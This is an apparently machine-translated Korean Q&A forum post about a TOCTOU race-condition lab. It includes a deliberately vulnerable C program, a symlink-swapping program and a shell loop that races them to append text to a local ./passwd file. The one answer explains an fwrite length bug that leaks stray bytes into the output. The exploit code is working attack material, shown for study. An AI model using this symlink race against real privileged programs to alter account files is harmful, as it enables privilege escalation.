Linux에서 파이프를 사용하여 프로그램에 입력을 제공할 때 일부 덤프가 발생합니다.

Linux에서 파이프를 사용하여 프로그램에 입력을 제공할 때 일부 덤프가 발생합니다.

나는 이제 경쟁 조건 오류를 사용하여 이를 악용하려고 합니다. 그런데 이 과정에서 내가 결코 지정하지 않은 가치가 드러나는데 문제가 발생한다.

아래는 사건에 대한 설명입니다.

시나리오: 공격자는 특정 프로그램이 경쟁 조건에 취약하다는 사실을 발견했습니다. 그래서 그녀는 공격자가 관리할 수 있는 파일에서 ./passwd 파일에 대한 심볼릭 링크를 생성하는 프로그램을 작성했습니다. 그런 다음 그녀는 ./passwd 파일에 대한 수정 사항이 감지될 때까지 취약한 프로그램과 자신의 프로그램을 모두 실행하는 셸 스크립트를 만들었습니다.

취약한 코드는 다음과 같습니다.

취약한 프로그램.c

#include<stdio.h>
#include<unistd.h>
#include<string.h>

#define DELAY 50000


int main(int argc, char *argv[]){
    char *fileName = argv[1];
    char buffer[60];

    int i;

    FILE *fileHandler;

    scanf("%50s", buffer);

    if(!access(fileName, W_OK)){
        int a;
        for(i=0;i<DELAY;i++){
            a=i^2;
        }

        fileHandler = fopen(fileName, "a+");

        fwrite("\n", sizeof(char), strlen(buffer), fileHandler);
        fwrite(buffer, sizeof(char), strlen(buffer), fileHandler);
        fwrite("\n", sizeof(char), 1, fileHandler);
        fclose(fileHandler);
    }

    else{
     
    }
 
}

경쟁 조건을 활용하는 절차는 다음과 같습니다.

심볼릭링크.c

#include<stdio.h>
#include<unistd.h>
#include<string.h>

int main(int argc, char *argv[]){
    unlink(argv[1]);
    symlink("./passwd", argv[1]);
    return 0;
}

이것은 쉘 스크립트입니다:

악용하다

old=`ls -l passwd`; new=`ls -l passwd`

while [ "$old" = "$new" ]
do

    rm -rf temp
    echo "This is a file that the user can overwrite" > temp
    echo -e "TOCTOU-Attack-Success" | ./vulnerable-program temp & ./symbolic-link temp & new=`ls -l passwd`


done

rm -rf temp;

echo "STOP... The passwd file has been changed"

그러나 Exploit.sh를 실행하면 결과는 다음과 같습니다.

여기에 이미지 설명을 입력하세요.

또한 /etc/shadow 파일에 기록된 사용자 정보와 같이 매우 긴 문자열을 제공하려고 하면 해당 문자열이 passwd 파일에 계속 나타나서 잘립니다.


실제로, 처음에는 printf("No Permission \n");취약한 프로그램.c의 else 분기에 코드 줄이 있습니다. 그러나 동일한 문제로 인해 "TOCTOU-Attack-Success" 문자열 앞에 "No Permission" 문자열이 계속 연결되어 passwd 파일에 계속 전달되어 해당 코드 줄을 삭제하게 됩니다.

여러분이 저를 도와주신다면 매우 기쁠 것입니다. 이제 이 문제를 해결하려면 어떻게 해야 할지 모르겠습니다.

답변1

fwrite("\n", sizeof(char), strlen(buffer), fileHandler);

개행 문자와 함께 읽기 전용 데이터 영역의 일부 쓰레기를 상수 문자열 "\n" 바로 뒤에 입력 문자열의 길이까지 보냅니다.

관련 정보